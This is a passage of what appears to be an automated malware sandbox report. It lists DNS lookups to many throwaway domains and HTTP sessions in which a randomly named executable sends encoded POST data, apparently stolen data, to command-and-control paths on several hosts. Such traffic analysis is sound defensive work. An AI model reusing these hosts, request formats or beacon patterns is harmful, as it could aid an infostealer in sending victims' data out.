Oct 8, 2024 16:36:24.180017948 CEST	50040	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:24.184894085 CEST	80	50040	43.242.202.169	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 16:33:57.829544067 CEST	50486	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:33:58.316391945 CEST	53	50486	1.1.1.1	192.168.2.4
Oct 8, 2024 16:34:03.337913990 CEST	56739	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:34:03.348748922 CEST	53	56739	1.1.1.1	192.168.2.4
Oct 8, 2024 16:34:08.368325949 CEST	55099	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:34:09.057019949 CEST	53	55099	1.1.1.1	192.168.2.4
Oct 8, 2024 16:34:24.622490883 CEST	60348	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:34:24.650665998 CEST	53	60348	1.1.1.1	192.168.2.4
Oct 8, 2024 16:34:37.790368080 CEST	56829	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:34:38.400415897 CEST	53	56829	1.1.1.1	192.168.2.4
Oct 8, 2024 16:34:51.743760109 CEST	50907	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:34:51.898288965 CEST	53	50907	1.1.1.1	192.168.2.4
Oct 8, 2024 16:35:05.556327105 CEST	55870	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:35:05.720515966 CEST	53	55870	1.1.1.1	192.168.2.4
Oct 8, 2024 16:35:19.681600094 CEST	53478	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:35:20.679812908 CEST	53478	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:35:21.043582916 CEST	53	53478	1.1.1.1	192.168.2.4
Oct 8, 2024 16:35:21.043616056 CEST	53	53478	1.1.1.1	192.168.2.4
Oct 8, 2024 16:35:34.415728092 CEST	62220	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:35:34.432383060 CEST	53	62220	1.1.1.1	192.168.2.4
Oct 8, 2024 16:35:47.915585041 CEST	55565	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:35:47.927587986 CEST	53	55565	1.1.1.1	192.168.2.4
Oct 8, 2024 16:36:01.305721998 CEST	64984	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:36:14.931503057 CEST	51061	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:36:15.611063004 CEST	53	51061	1.1.1.1	192.168.2.4
Oct 8, 2024 16:36:29.198466063 CEST	62731	53	192.168.2.4	1.1.1.1
Oct 8, 2024 16:36:29.672023058 CEST	53	62731	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 16:33:57.829544067 CEST	192.168.2.4	1.1.1.1	0x82f0	Standard query (0)	www.woshop.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:03.337913990 CEST	192.168.2.4	1.1.1.1	0xa947	Standard query (0)	www.kxshopmr.store	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:08.368325949 CEST	192.168.2.4	1.1.1.1	0xd42d	Standard query (0)	www.elsupertodo.net	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:24.622490883 CEST	192.168.2.4	1.1.1.1	0xad91	Standard query (0)	www.omexai.info	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:37.790368080 CEST	192.168.2.4	1.1.1.1	0xef32	Standard query (0)	www.tekilla.wtf	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:51.743760109 CEST	192.168.2.4	1.1.1.1	0x41a8	Standard query (0)	www.bola88site.one	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:05.556327105 CEST	192.168.2.4	1.1.1.1	0xfcb6	Standard query (0)	www.languagemodel.pro	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:19.681600094 CEST	192.168.2.4	1.1.1.1	0x2945	Standard query (0)	www.kexweb.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:20.679812908 CEST	192.168.2.4	1.1.1.1	0x2945	Standard query (0)	www.kexweb.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:34.415728092 CEST	192.168.2.4	1.1.1.1	0xca74	Standard query (0)	www.jobworklanka.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:47.915585041 CEST	192.168.2.4	1.1.1.1	0xa03a	Standard query (0)	www.dyme.tech	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:36:01.305721998 CEST	192.168.2.4	1.1.1.1	0x8345	Standard query (0)	www.arlon-commerce.com	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:36:14.931503057 CEST	192.168.2.4	1.1.1.1	0x3405	Standard query (0)	www.mizuquan.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:36:29.198466063 CEST	192.168.2.4	1.1.1.1	0x705	Standard query (0)	www.nobartv6.website	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 16:33:58.316391945 CEST	1.1.1.1	192.168.2.4	0x82f0	Name error (3)	www.woshop.online	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:03.348748922 CEST	1.1.1.1	192.168.2.4	0xa947	Name error (3)	www.kxshopmr.store	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:09.057019949 CEST	1.1.1.1	192.168.2.4	0xd42d	No error (0)	www.elsupertodo.net		148.72.152.174	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:24.650665998 CEST	1.1.1.1	192.168.2.4	0xad91	No error (0)	www.omexai.info	omexai.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:34:24.650665998 CEST	1.1.1.1	192.168.2.4	0xad91	No error (0)	omexai.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:24.650665998 CEST	1.1.1.1	192.168.2.4	0xad91	No error (0)	omexai.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:38.400415897 CEST	1.1.1.1	192.168.2.4	0xef32	No error (0)	www.tekilla.wtf	redirect.3dns.box		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:34:38.400415897 CEST	1.1.1.1	192.168.2.4	0xef32	No error (0)	redirect.3dns.box		172.191.244.62	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:34:51.898288965 CEST	1.1.1.1	192.168.2.4	0x41a8	No error (0)	www.bola88site.one	bola88site.one		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:34:51.898288965 CEST	1.1.1.1	192.168.2.4	0x41a8	No error (0)	bola88site.one		172.96.191.39	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:05.720515966 CEST	1.1.1.1	192.168.2.4	0xfcb6	No error (0)	www.languagemodel.pro	webredir.vip.gandi.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:35:05.720515966 CEST	1.1.1.1	192.168.2.4	0xfcb6	No error (0)	webredir.vip.gandi.net		217.70.184.50	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:21.043582916 CEST	1.1.1.1	192.168.2.4	0x2945	No error (0)	www.kexweb.top		63.250.47.40	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:21.043616056 CEST	1.1.1.1	192.168.2.4	0x2945	No error (0)	www.kexweb.top		63.250.47.40	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:34.432383060 CEST	1.1.1.1	192.168.2.4	0xca74	No error (0)	www.jobworklanka.online	jobworklanka.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:35:34.432383060 CEST	1.1.1.1	192.168.2.4	0xca74	No error (0)	jobworklanka.online		91.184.0.200	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:47.927587986 CEST	1.1.1.1	192.168.2.4	0xa03a	No error (0)	www.dyme.tech		13.248.169.48	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:35:47.927587986 CEST	1.1.1.1	192.168.2.4	0xa03a	No error (0)	www.dyme.tech		76.223.54.146	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:36:01.581528902 CEST	1.1.1.1	192.168.2.4	0x8345	No error (0)	www.arlon-commerce.com	whois-unverified.domainbox.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 16:36:15.611063004 CEST	1.1.1.1	192.168.2.4	0x3405	No error (0)	www.mizuquan.top		43.242.202.169	A (IP address)	IN (0x0001)	false
Oct 8, 2024 16:36:29.672023058 CEST	1.1.1.1	192.168.2.4	0x705	No error (0)	www.nobartv6.website		103.224.182.242	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.elsupertodo.net

www.omexai.info

www.tekilla.wtf

www.bola88site.one

www.languagemodel.pro

www.kexweb.top

www.jobworklanka.online

www.dyme.tech

www.mizuquan.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	148.72.152.174	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:09.075884104 CEST	558	OUT	GET /2jit/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=iS4P4oRSl8BXKzGHIPEeBFILTgF0I4K6JXAZlPSQukWhX6ryYmutle+397gP2E/7l5jfN0VXuv9esRLW6mV1TqEhan6EIKUcOtzcvEOIT7DGSSciknjeHA8= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.elsupertodo.net Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:34:09.576822042 CEST	541	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 08 Oct 2024 14:34:09 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.elsupertodo.net/2jit/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=iS4P4oRSl8BXKzGHIPEeBFILTgF0I4K6JXAZlPSQukWhX6ryYmutle+397gP2E/7l5jfN0VXuv9esRLW6mV1TqEhan6EIKUcOtzcvEOIT7DGSSciknjeHA8= X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49807	3.33.130.190	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:24.676636934 CEST	809	OUT	POST /7xi5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.omexai.info Origin: http://www.omexai.info Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.omexai.info/7xi5/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 76 7a 67 59 35 44 63 68 62 55 54 75 44 6a 34 66 55 36 59 48 75 70 73 47 53 50 58 6d 52 46 49 67 6c 35 4a 41 74 2b 4d 75 37 6a 4c 74 48 52 35 37 37 73 30 70 67 61 79 37 52 48 78 61 61 51 4a 56 73 42 44 31 78 47 70 2b 6d 36 66 2f 53 36 35 79 43 72 38 56 5a 44 76 44 44 6a 48 7a 6a 31 32 43 74 62 6f 53 38 53 77 4e 65 63 42 37 34 37 61 6b 62 4c 6f 74 59 51 52 6f 4b 57 73 4f 69 72 6f 61 47 55 5a 53 6c 65 50 4f 47 57 6a 79 37 79 73 35 65 4e 69 47 54 71 6e 6e 34 39 35 72 6b 77 52 65 35 68 62 58 62 50 76 38 4f 73 4c 6a 43 41 63 70 71 6d 51 4f 6f 31 57 70 61 75 35 41 4e 48 76 56 73 67 3d 3d Data Ascii: -NnllVvH=vzgY5DchbUTuDj4fU6YHupsGSPXmRFIgl5JAt+Mu7jLtHR577s0pgay7RHxaaQJVsBD1xGp+m6f/S65yCr8VZDvDDjHzj12CtboS8SwNecB747akbLotYQRoKWsOiroaGUZSlePOGWjy7ys5eNiGTqnn495rkwRe5hbXbPv8OsLjCAcpqmQOo1Wpau5ANHvVsg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49820	3.33.130.190	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:27.228100061 CEST	829	OUT	POST /7xi5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.omexai.info Origin: http://www.omexai.info Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.omexai.info/7xi5/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 76 7a 67 59 35 44 63 68 62 55 54 75 43 44 49 66 59 35 77 48 2f 35 73 4a 58 50 58 6d 66 56 49 73 6c 35 4e 41 74 2f 59 45 37 51 6a 74 48 77 4a 37 36 75 63 70 6c 61 79 37 4a 33 78 47 55 77 4a 43 73 42 66 4c 78 43 74 2b 6d 2b 2f 2f 53 36 4a 79 43 59 55 61 44 7a 76 4e 58 54 48 78 2b 46 32 43 74 62 6f 53 38 53 30 33 65 63 70 37 34 72 71 6b 61 70 4d 69 56 77 52 76 63 6d 73 4f 6d 72 6f 57 47 55 5a 4b 6c 65 2b 47 47 55 72 79 37 79 63 35 65 5a 2b 48 49 61 6e 62 31 64 34 66 71 78 31 57 2b 51 66 65 55 50 72 38 52 76 37 42 4b 6d 4e 7a 37 58 78 5a 36 31 79 61 48 70 77 30 41 45 53 63 33 69 54 2b 67 66 35 51 71 53 47 55 69 43 73 2b 4a 31 4d 77 62 6f 55 3d Data Ascii: -NnllVvH=vzgY5DchbUTuCDIfY5wH/5sJXPXmfVIsl5NAt/YE7QjtHwJ76ucplay7J3xGUwJCsBfLxCt+m+//S6JyCYUaDzvNXTHx+F2CtboS8S03ecp74rqkapMiVwRvcmsOmroWGUZKle+GGUry7yc5eZ+HIanb1d4fqx1W+QfeUPr8Rv7BKmNz7XxZ61yaHpw0AESc3iT+gf5QqSGUiCs+J1MwboU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49838	3.33.130.190	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:29.774672031 CEST	10911	OUT	POST /7xi5/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.omexai.info Origin: http://www.omexai.info Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.omexai.info/7xi5/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 76 7a 67 59 35 44 63 68 62 55 54 75 43 44 49 66 59 35 77 48 2f 35 73 4a 58 50 58 6d 66 56 49 73 6c 35 4e 41 74 2f 59 45 37 57 37 74 48 69 42 37 34 50 63 70 6d 61 79 37 41 58 78 46 55 77 4a 66 73 42 48 50 78 43 68 49 6d 34 7a 2f 54 5a 42 79 4b 4a 55 61 4e 44 76 4e 49 44 48 30 6a 31 32 79 74 62 35 56 38 54 45 33 65 63 70 37 34 70 43 6b 64 37 6f 69 47 67 52 6f 4b 57 73 43 69 72 70 44 47 55 42 30 6c 61 69 57 48 6c 4c 79 34 53 4d 35 66 73 69 48 45 61 6e 6a 79 64 34 48 71 78 49 49 2b 55 2b 6e 55 4d 32 62 52 6f 4c 42 4f 43 55 30 6e 57 46 79 6c 44 75 51 53 62 6b 33 4c 30 71 63 35 77 7a 78 7a 4e 35 32 2f 52 75 72 6d 31 42 42 61 45 4e 7a 59 34 6d 75 48 76 70 76 69 6b 48 48 6c 53 7a 31 7a 43 74 57 43 38 71 69 6b 4d 72 33 64 71 62 31 73 74 45 2f 4f 4d 62 4f 4b 4c 7a 75 72 46 37 62 61 78 58 63 75 6a 36 39 43 6b 76 65 7a 76 34 2b 48 66 53 7a 31 65 68 67 4a 78 36 72 6f 50 4a 6b 67 30 6a 76 45 78 4b 37 4b 58 7a 79 34 53 59 45 6b 57 51 73 52 58 79 6a 62 6f 67 69 2b 65 7a 2b 70 75 63 50 79 [TRUNCATED] Data Ascii: -NnllVvH=vzgY5DchbUTuCDIfY5wH/5sJXPXmfVIsl5NAt/YE7W7tHiB74Pcpmay7AXxFUwJfsBHPxChIm4z/TZByKJUaNDvNIDH0j12ytb5V8TE3ecp74pCkd7oiGgRoKWsCirpDGUB0laiWHlLy4SM5fsiHEanjyd4HqxII+U+nUM2bRoLBOCU0nWFylDuQSbk3L0qc5wzxzN52/Rurm1BBaENzY4muHvpvikHHlSz1zCtWC8qikMr3dqb1stE/OMbOKLzurF7baxXcuj69Ckvezv4+HfSz1ehgJx6roPJkg0jvExK7KXzy4SYEkWQsRXyjbogi+ez+pucPyCa9AoYlGLu+jqcDvYWLfYd1qkMYV6LVQ9Dk4aY7/ItPKefbKZFtJy7Iab/I4C62tzudCGJYKTbcYpS1Qa92uzzxmtA3tpkeBWhlujEJx17XyhLgkBzRjNt723uss0BOc3fgeDC50sw2kb3bZij8VA4let57uGhDUTlXykKt5Sz/vP9rOJxq5c2fe2ECl0ay7bebXd0dFxS9hgU5cHKSBfhMglLlObVRwKMKe0dT5jKaLh1pq3oiAu3UAiC7wQVK/TH3qB7EJ5i0kjnjBh5v7ygB+JacoYfibrLerAPMWUoUDWD5fQDF0CjF04dozODAOZ72ZQEkVTRz4A2fp8zufnhV5ngxHYGNnv+91izWf01awE3pJGIvFGgykpT1kU9Xubmzy8cOAK5mdINtrOLF0IT+x87Me70nhuSGKleYM6Mqumao8lvlmO8P9rJydt5d6wlvrE0tr4yA0mCof8uVT6wDlJNnpvqOXXqi85vn1ZTSkNmmH8FjcSuQEbl6/+oPKVNVtiYNJsta2f6zjqLWuXxkjmT4SRK/xgcL5xoIr7gqO25UxQr7P/NTnr/qXDlizBL9m6phnJa3XcMIrsRPdDAEdsAUm4frUKn7/sPJUqaq861FLMcHqxEMjjGym01CfcCGyhjrAJVJouOwl9j6rYXCcVfZREk4mky [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49854	3.33.130.190	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:32.318255901 CEST	554	OUT	GET /7xi5/?-NnllVvH=ixI46zwDNWOoK0d6d59SvpgDB+zqSFA+qsFL+v4hzxqFGT4p3+8WtoPKGUs/aT1fkDncxQRflpqJVuNQFbELBx/+PEXrpF63uptF2gwKAcNaoJelZ45iHH4=&e6mhx=LZwxPLrhqt_8A HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.omexai.info Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:34:32.772227049 CEST	404	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 14:34:32 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 2d 4e 6e 6c 6c 56 76 48 3d 69 78 49 34 36 7a 77 44 4e 57 4f 6f 4b 30 64 36 64 35 39 53 76 70 67 44 42 2b 7a 71 53 46 41 2b 71 73 46 4c 2b 76 34 68 7a 78 71 46 47 54 34 70 33 2b 38 57 74 6f 50 4b 47 55 73 2f 61 54 31 66 6b 44 6e 63 78 51 52 66 6c 70 71 4a 56 75 4e 51 46 62 45 4c 42 78 2f 2b 50 45 58 72 70 46 36 33 75 70 74 46 32 67 77 4b 41 63 4e 61 6f 4a 65 6c 5a 34 35 69 48 48 34 3d 26 65 36 6d 68 78 3d 4c 5a 77 78 50 4c 72 68 71 74 5f 38 41 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?-NnllVvH=ixI46zwDNWOoK0d6d59SvpgDB+zqSFA+qsFL+v4hzxqFGT4p3+8WtoPKGUs/aT1fkDncxQRflpqJVuNQFbELBx/+PEXrpF63uptF2gwKAcNaoJelZ45iHH4=&e6mhx=LZwxPLrhqt_8A"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49884	172.191.244.62	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:38.419114113 CEST	809	OUT	POST /fpzw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.tekilla.wtf Origin: http://www.tekilla.wtf Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.tekilla.wtf/fpzw/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 69 6d 52 77 54 63 61 61 4c 30 33 6a 6d 5a 59 70 59 62 77 72 56 71 75 6a 52 30 5a 66 55 35 75 31 65 7a 36 63 32 6e 5a 55 78 52 71 58 4e 76 64 6a 36 69 61 68 4c 38 57 43 31 41 56 38 56 36 31 4f 58 47 67 54 34 35 35 6e 38 56 56 43 54 6f 43 59 32 36 33 44 33 5a 44 59 46 61 77 44 31 4b 70 49 64 36 79 42 73 35 59 7a 4a 64 66 56 31 66 73 41 55 30 37 68 72 75 6f 75 49 5a 68 31 45 33 65 6d 56 61 43 49 6f 66 53 72 64 58 67 50 65 4b 64 52 66 76 79 6c 4e 41 2b 47 54 56 6f 7a 55 54 6a 41 61 43 64 2b 66 31 69 2b 75 2b 79 6f 68 58 41 73 6f 43 57 70 4e 57 4e 4e 6c 34 78 69 6e 77 6b 34 4d 51 3d 3d Data Ascii: -NnllVvH=imRwTcaaL03jmZYpYbwrVqujR0ZfU5u1ez6c2nZUxRqXNvdj6iahL8WC1AV8V61OXGgT455n8VVCToCY263D3ZDYFawD1KpId6yBs5YzJdfV1fsAU07hruouIZh1E3emVaCIofSrdXgPeKdRfvylNA+GTVozUTjAaCd+f1i+u+yohXAsoCWpNWNNl4xinwk4MQ==
Oct 8, 2024 16:34:38.867480040 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 08 Oct 2024 14:34:38 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49898	172.191.244.62	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:34:40.963867903 CEST	829	OUT	POST /fpzw/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.tekilla.wtf Origin: http://www.tekilla.wtf Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.tekilla.wtf/fpzw/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 69 6d 52 77 54 63 61 61 4c 30 33 6a 6d 35 49 70 61 34 6f 72 51 4b 75 67 65 55 5a 66 44 70 75 78 65 30 79 63 32 6c 31 45 78 69 65 58 4e 4c 5a 6a 37 6a 61 68 46 63 57 43 37 67 55 33 62 61 31 48 58 47 73 62 34 35 56 6e 38 56 70 43 54 70 53 59 32 4a 66 43 78 4a 44 47 4e 36 77 42 34 71 70 49 64 36 79 42 73 35 4e 57 4a 63 33 56 30 75 63 41 47 41 58 75 6a 4f 6f 74 59 70 68 31 56 6e 65 69 56 61 43 2b 6f 64 6d 53 64 56 6f 50 65 4c 74 52 52 65 79 6d 61 77 2b 36 4f 6c 70 45 53 6a 53 37 52 54 6b 33 58 6b 4b 5a 68 65 36 6b 74 78 52 32 35 7a 33 2b 66 57 70 2b 34 2f 34 57 71 7a 5a 78 58 65 54 50 6c 75 58 57 6b 71 65 7a 52 6e 2b 31 39 61 4c 57 69 32 67 3d Data Ascii: -NnllVvH=imRwTcaaL03jm5Ipa4orQKugeUZfDpuxe0yc2l1ExieXNLZj7jahFcWC7gU3ba1HXGsb45Vn8VpCTpSY2JfCxJDGN6wB4qpId6yBs5NWJc3V0ucAGAXujOotYph1VneiVaC+odmSdVoPeLtRReymaw+6OlpESjS7RTk3XkKZhe6ktxR25z3+fWp+4/4WqzZxXeTPluXWkqezRn+19aLWi2g=
Oct 8, 2024 16:34:41.457806110 CEST	195	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 08 Oct 2024 14:34:41 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
